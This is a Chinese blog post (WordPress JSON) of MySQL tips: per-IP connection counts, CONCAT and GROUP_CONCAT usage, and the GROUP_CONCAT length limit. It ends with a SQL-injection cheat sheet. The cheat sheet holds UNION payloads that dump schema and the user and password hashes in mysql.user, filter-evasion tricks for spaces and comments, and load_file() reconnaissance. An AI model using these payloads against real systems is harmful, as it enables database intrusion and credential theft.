{"id":2088,"date":"2015-04-26T11:52:15","date_gmt":"2015-04-26T03:52:15","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=2088"},"modified":"2015-04-26T11:52:15","modified_gmt":"2015-04-26T03:52:15","slug":"mysql%e7%9a%84%e4%b8%80%e4%ba%9btips%e6%80%bb%e7%bb%93_3","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/2088.html","title":{"rendered":"MySQL\u7684\u4e00\u4e9btips\u603b\u7ed3_3"},"content":{"rendered":"<p>=Start=<\/p>\n<h5>\u67e5\u770bMySQL\u4e0a\u6bcf\u4e2aIP\u7684\u8fde\u63a5\u4e2a\u6570<\/h5>\n<p>\u8981\u7edf\u8ba1\u6570\u636e\u5e93\u7684\u8fde\u63a5\u6570\uff0c\u6211\u4eec\u901a\u5e38\u60c5\u51b5\u4e0b\u662f\u7edf\u8ba1\u603b\u6570\uff0c\u6ca1\u6709\u7ec6\u5206\u5230\u6bcf\u4e2aIP\u4e0a\u3002\u73b0\u5728\u8981\u76d1\u63a7\u6bcf\u4e2aIP\u7684\u8fde\u63a5\u6570\uff0c\u5b9e\u73b0\u65b9\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre class=\"lang:default decode:true\">mysql&gt; select SUBSTRING_INDEX(host,':',1) as ip, count(*) from information_schema.processlist group by ip;\n\n# \/usr\/local\/bin\/mysql -uroot -h127.0.0.1 -e\"show processlist;\" | awk -F: 'NR&gt;1 {print $2}' | sort | uniq -c\n# \/usr\/local\/bin\/mysql -uroot -h127.0.0.1 --skip-column-names -e\"show processlist;\" | awk '{print $3}' | awk -F\":\" '{print $1}' | sort | uniq -c\n# --skip-column-names    \u4e0d\u663e\u793a\u6570\u636e\u5217\u7684\u540d\u5b57<\/pre>\n<p>==<\/p>\n<p>\u8fd9\u91cc\u4e3b\u8981\u60f3\u8bb0\u5f55\u7684\u662fMySQL\u7684concat\u3001concat_ws\u548cgroup_concat\u51fd\u6570\uff0c\u987a\u5e26\u7ffb\u51fa\u6765\u4e86\u4e00\u4e9b\u4e4b\u524d\u770b\u5230\u7684\u8f83\u597d\u7684MySQL\u6ce8\u5165\u65b9\u9762\u7684\u6587\u7ae0\u3002<\/p>\n<h6>\u641c\u7d22\u5173\u952e\u5b57\uff1a<\/h6>\n<ul>\n<li>mysql concat null<\/li>\n<li>mysql ifnull<\/li>\n<li>mysql concat concat_ws group_concat<\/li>\n<li>mysql load_file<\/li>\n<li>mysql limit offset performance optimization<\/li>\n<li>mysql information_schema<\/li>\n<\/ul>\n<h6>\u53c2\u8003\u94fe\u63a5\uff1a<\/h6>\n<ul>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/1035819\/concating-null-fields\">http:\/\/stackoverflow.com\/questions\/1035819\/concating-null-fields<\/a><\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/8530632\/concat-values-in-mysql-queryto-handle-null-values\">http:\/\/stackoverflow.com\/questions\/8530632\/concat-values-in-mysql-queryto-handle-null-values<\/a><\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/15741314\/mysql-concat-returns-null-if-any-field-contain-null\">http:\/\/stackoverflow.com\/questions\/15741314\/mysql-concat-returns-null-if-any-field-contain-null<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/1174850\/mysql-view-check-if-data-is-null\">http:\/\/stackoverflow.com\/questions\/1174850\/mysql-view-check-if-data-is-null<\/a><\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/17832906\/how-to-check-if-field-is-null-or-empty-mysql\">http:\/\/stackoverflow.com\/questions\/17832906\/how-to-check-if-field-is-null-or-empty-mysql<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/11889391\/difference-between-group-concat-and-concat-ws\">http:\/\/stackoverflow.com\/questions\/11889391\/difference-between-group-concat-and-concat-ws<\/a><\/li>\n<li><a href=\"http:\/\/www.percona.com\/blog\/2013\/10\/22\/the-power-of-mysqls-group_concat\/\">http:\/\/www.percona.com\/blog\/2013\/10\/22\/the-power-of-mysqls-group_concat\/<\/a><\/li>\n<li><a href=\"http:\/\/www.fuchaoqun.com\/2008\/12\/mysql-trap-of-group-concat\/\">MySQL\u7edf\u8ba1\u51fd\u6570GROUP_CONCAT\u9677\u9631<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/8229951\/load-file-doesnt-work\">http:\/\/stackoverflow.com\/questions\/8229951\/load-file-doesnt-work<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/limit-optimization.html\">http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/limit-optimization.html<\/a><\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/1243952\/how-can-i-speed-up-a-mysql-query-with-a-large-offset-in-the-limit-clause\">http:\/\/stackoverflow.com\/questions\/1243952\/how-can-i-speed-up-a-mysql-query-with-a-large-offset-in-the-limit-clause<\/a><\/li>\n<li><a href=\"http:\/\/stackoverflow.com\/questions\/4481388\/why-does-mysql-higher-limit-offset-slow-the-query-down\">http:\/\/stackoverflow.com\/questions\/4481388\/why-does-mysql-higher-limit-offset-slow-the-query-down<\/a><\/li>\n<li><a href=\"http:\/\/www.phpernote.com\/mysql\/835.html\" target=\"_blank\">MySQL\u7684limit\u67e5\u8be2\u4f18\u5316<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/www.thegeekstuff.com\/2008\/11\/overview-of-mysql-information_schema-database-with-practical-examples\/\">http:\/\/www.thegeekstuff.com\/2008\/11\/overview-of-mysql-information_schema-database-with-practical-examples\/<\/a><\/li>\n<li><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/information-schema.html\">http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/information-schema.html<\/a><\/li>\n<li><a href=\"https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/tables-table.html\">https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/tables-table.html<\/a><\/li>\n<li><a href=\"http:\/\/dba.stackexchange.com\/questions\/3335\/how-is-information-schema-implemented-in-mysql\">http:\/\/dba.stackexchange.com\/questions\/3335\/how-is-information-schema-implemented-in-mysql<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"http:\/\/drops.wooyun.org\/tips\/123\" target=\"_blank\">MySql\u6ce8\u5165\u79d1\u666e | WooYun\u77e5\u8bc6\u5e93<\/a><\/li>\n<li><a href=\"http:\/\/blog.wegeek.org\/index.php\/archives\/25.html\" target=\"_blank\">MYSQL\u6ce8\u5165\u5b8c\u5168\u603b\u7ed3<\/a><\/li>\n<li><a href=\"http:\/\/hi.baidu.com\/xkill001\/item\/06c8a0c95ceb593a99b4981e\">MySQL\u6570\u636e\u5e935.X\u7248\u672c\u57fa\u672c\u624b\u5de5\u6ce8\u5165\u603b\u7ed3<\/a><\/li>\n<li>=<\/li>\n<li><a href=\"https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/dynindex-sysvar.html\">https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/dynindex-sysvar.html<\/a><\/li>\n<li><a href=\"https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/dynindex-statvar.html\">https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/dynindex-statvar.html<\/a><\/li>\n<\/ul>\n<h6>==MySQL\u7edf\u8ba1\u51fd\u6570GROUP_CONCAT\u9677\u9631==<\/h6>\n<p>\u6700\u8fd1\u5728\u7528MySQL\u505a\u4e00\u4e9b\u6570\u636e\u7684\u9884\u5904\u7406\uff0c\u7ecf\u5e38\u4f1a\u7528\u5230group_concat\u51fd\u6570\uff0c\u6bd4\u5982\u7c7b\u4f3c\u4e0b\u9762\u4e00\u6761\u8bed\u53e5<\/p>\n<pre class=\"lang:default decode:true\">mysql&gt;select aid,group_concat(bid) from tbl group by aid limit 1;<\/pre>\n<p>sql\u8bed\u53e5\u6bd4\u8f83\u7b80\u5355\uff0c\u6309\u7167aid\u5206\u7ec4\uff0c\u5e76\u4e14\u628a\u76f8\u5e94\u7684bid\u7528\u9017\u53f7\u4e32\u8d77\u6765\u3002\u8fd9\u6837\u7684\u53e5\u5b50\u5927\u5bb6\u53ef\u80fd\u90fd\u7528\u8fc7\uff0c\u4e5f\u53ef\u80fd\u4e0d\u4f1a\u51fa\u95ee\u9898\uff0c\u4f46\u662f\u5982\u679cbid\u975e\u5e38\u591a\u7684\u8bdd\uff0c\u4f60\u5c31\u8981\u5c0f\u5fc3\u4e86\uff0c\u6bd4\u5982\u4e0b\u9762\u7684\u63d0\u793a\u4fe1\u606f\uff1a<\/p>\n<p>Query OK,\u00a0XXX rows affected, 1 warning (3 min 45.12 sec)<\/p>\n<p>\u600e\u4e48\u4f1a\u6709\u8b66\u544a\u5462\uff0c\u6253\u51fa\u6765\u770b\u770b\uff1a<\/p>\n<pre class=\"lang:default decode:true \">mysql&gt; show warnings;\n+---------+------+--------------------------------------+\n| Level   | Code | Message                                 |\n+---------+------+--------------------------------------+\n| Warning | 1260 | 1 line(s) were cut by GROUP_CONCAT()    |\n+---------+------+--------------------------------------+<\/pre>\n<p>\u5c45\u7136\u88abGROUP_CONCAT\u622a\u65ad\u4e86\u6211\u7684\u7ed3\u679c\uff0c\u67e5\u4e86\u4e00\u4e0b\u624b\u518c\uff0c\u539f\u6765GROUP_CONCAT\u6709\u4e2a\u6700\u5927\u957f\u5ea6\u7684\u9650\u5236\uff0c\u8d85\u8fc7\u6700\u5927\u957f\u5ea6\u5c31\u4f1a\u88ab\u622a\u65ad\u6389\uff0c\u4f60\u53ef\u4ee5\u901a\u8fc7\u4e0b\u9762\u7684\u8bed\u53e5\u83b7\u5f97\uff1a<\/p>\n<pre class=\"lang:default decode:true\">mysql&gt; SELECT @@global.group_concat_max_len;\n+-------------------------------+\n| @@global.group_concat_max_len |\n+-------------------------------+\n|                      1024     |\n+-------------------------------+<\/pre>\n<p>1024\u8fd9\u5c31\u662f\u4e00\u822cMySQL\u7cfb\u7edf\u9ed8\u8ba4\u7684\u6700\u5927\u957f\u5ea6\uff0c\u5982\u679c\u4f60\u7684bid\u4e32\u8d77\u6765\u5927\u4e8e\u8fd9\u4e2a\u5c31\u4f1a\u51fa\u95ee\u9898\uff0c\u597d\u5728\u6709\u89e3\u51b3\u7684\u529e\u6cd5\uff1a<\/p>\n<p>1.\u5728MySQL\u914d\u7f6e\u6587\u4ef6\u4e2d\u52a0\u4e0a<\/p>\n<pre class=\"lang:default decode:true\">group_concat_max_len = 102400 #\u4f60\u8981\u7684\u6700\u5927\u957f\u5ea6<\/pre>\n<p>2.\u53ef\u4ee5\u7b80\u5355\u4e00\u70b9\uff0c\u6267\u884c\u8bed\u53e5<\/p>\n<pre class=\"lang:default decode:true\">mysql&gt; SET GLOBAL group_concat_max_len=102400;\nQuery OK, 0 rows affected (0.01 sec)<\/pre>\n<p>\u518d\u6267\u884cgroup_concat\u8bed\u53e5\u5c31\u4e0d\u4f1a\u51fa\u95ee\u9898\u4e86\uff0c\u53e6\u5916MySQL\u624b\u518c\u4e0a\u8fd8\u7ed9\u51fa\u4e86<a href=\"https:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/group-by-functions.html#function_group-concat\">group_concat\u7684\u8be6\u7ec6\u7528\u6cd5<\/a>\uff0c\u7ed9\u4e2a\u793a\u4f8b\u4f60\u5c31\u660e\u767d\u4e86\uff1a<\/p>\n<pre class=\"lang:default decode:true\">mysql&gt;select aid,group_concat(bid order by bid separator ',') as bid_str from tbl group by aid;<\/pre>\n<p>\u8fd8\u53ef\u4ee5\u6392\u5e8f\u548c\u8bbe\u7f6e\u5206\u9694\u7b26\uff0c\u529f\u80fd\u5f3a\u5927\u3002<\/p>\n<p>==<\/p>\n<pre class=\"lang:default decode:true \">\u663e\u793a\u5e93\u57fa\u672c\u4fe1\u606f\nselect 1,concat(user(),0x20,database(),0x20,version()),3,4--\n\u5217\u5e93\nselect 1,group_concat(distinct table_schema),3,4 from information_schema.columns--\n\u5217\u8868\nselect 1,group_concat(distinct table_name),3,4 from information_schema.tables where table_schema=database()--\n\u67e5\u8be2\u5217\nselect 1,group_concat(distinct column_name),3,4 from information_schema.columns where table_schema=database()--\n\u67e5\u8be2\u5177\u4f53\u503c\nselect 1,group_concat(user,0x20,password),3,4 from mysql.user--\nselect 1,concat(user,password),3,4 from mysql.user--\n\n\nselect concat(user(),0x20,ifnull(database(),'null'),0x20,version());\nselect concat_ws('|||',user(),database(),version());\nselect group_concat(user(),COALESCE(database(), 'NULL'),version());\nselect group_concat(user(),0x20,COALESCE(database(), 'NULL'),0x20,version());\nselect group_concat(user(),database(),version() SEPARATOR ',');\t#separator\u4e0d\u8d77\u4f5c\u7528<\/pre>\n<p>==<\/p>\n<h6>1.\u6ce8\u91ca\u7b26\u53f7<\/h6>\n<pre class=\"lang:default decode:true \"># Hash \u8bed\u6cd5\n\/* C-style \u8bed\u6cd5\n-- SQL \u8bed\u6cd5\uff08\u540e\u9762\u9700\u8981\u6709\u4e00\u4e2a\u7a7a\u683c\uff09\n;%00 \u7a7a\u5b57\u8282\n` \u53cd\u5f15\u53f7<\/pre>\n<h6>2.\u8fc7\u6ee4\u7a7a\u683c\u6ce8\u5165<\/h6>\n<pre class=\"lang:default decode:true\">\u4f7f\u7528\/**\/\u6216()\u6216+\u4ee3\u66ff\u7a7a\u683c\n%0c = form feed, new page\n%09 = horizontal tab\n%0d = carriage return\n%0a = line feed, new line<\/pre>\n<h6>3.\u591a\u6761\u6570\u636e\u663e\u793a<\/h6>\n<pre class=\"lang:default decode:true\">concat()\ngroup_concat()\nconcat_ws()<\/pre>\n<h6>4.\u76f8\u5173\u7cfb\u7edf\u51fd\u6570<\/h6>\n<pre class=\"lang:default decode:true\">system_user() \u7cfb\u7edf\u7528\u6237\u540d\nuser() \u7528\u6237\u540d\ncurrent_user() \u5f53\u524d\u7528\u6237\u540d\nsession_user() \u8fde\u63a5\u6570\u636e\u5e93\u7684\u7528\u6237\u540d\ndatabase() \u6570\u636e\u5e93\u540d\nversion() MYSQL\u6570\u636e\u5e93\u7248\u672c\nload_file() MYSQL\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\u7684\u51fd\u6570\n@@datadir \u8bfb\u53d6\u6570\u636e\u5e93\u8def\u5f84\n@@basedir MYSQL\u5b89\u88c5\u8def\u5f84\n@@version_compile_os \u64cd\u4f5c\u7cfb\u7edf\nGRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;<\/pre>\n<h6>5.mysql\u4e00\u822c\u6ce8\u5165\u8bed\u53e5<\/h6>\n<pre class=\"lang:default decode:true \">\u731c\u5b57\u6bb5\u6570\uff1a\norder by n\/*<\/pre>\n<p>=END=<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=Start= \u67e5\u770bMySQL\u4e0a\u6bcf\u4e2aIP\u7684\u8fde\u63a5\u4e2a\u6570 \u8981\u7edf\u8ba1\u6570\u636e\u5e93\u7684\u8fde\u63a5\u6570\uff0c\u6211\u4eec\u901a\u5e38\u60c5\u51b5\u4e0b\u662f\u7edf\u8ba1\u603b\u6570\uff0c\u6ca1\u6709\u7ec6\u5206\u5230 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,23,25],"tags":[491,492,493,16],"class_list":["post-2088","post","type-post","status-publish","format-standard","hentry","category-database","category-knowledgebase-2","category-security","tag-concat","tag-concat_ws","tag-group_concat","tag-mysql"],"views":5259,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/2088","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=2088"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/2088\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=2088"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=2088"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=2088"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}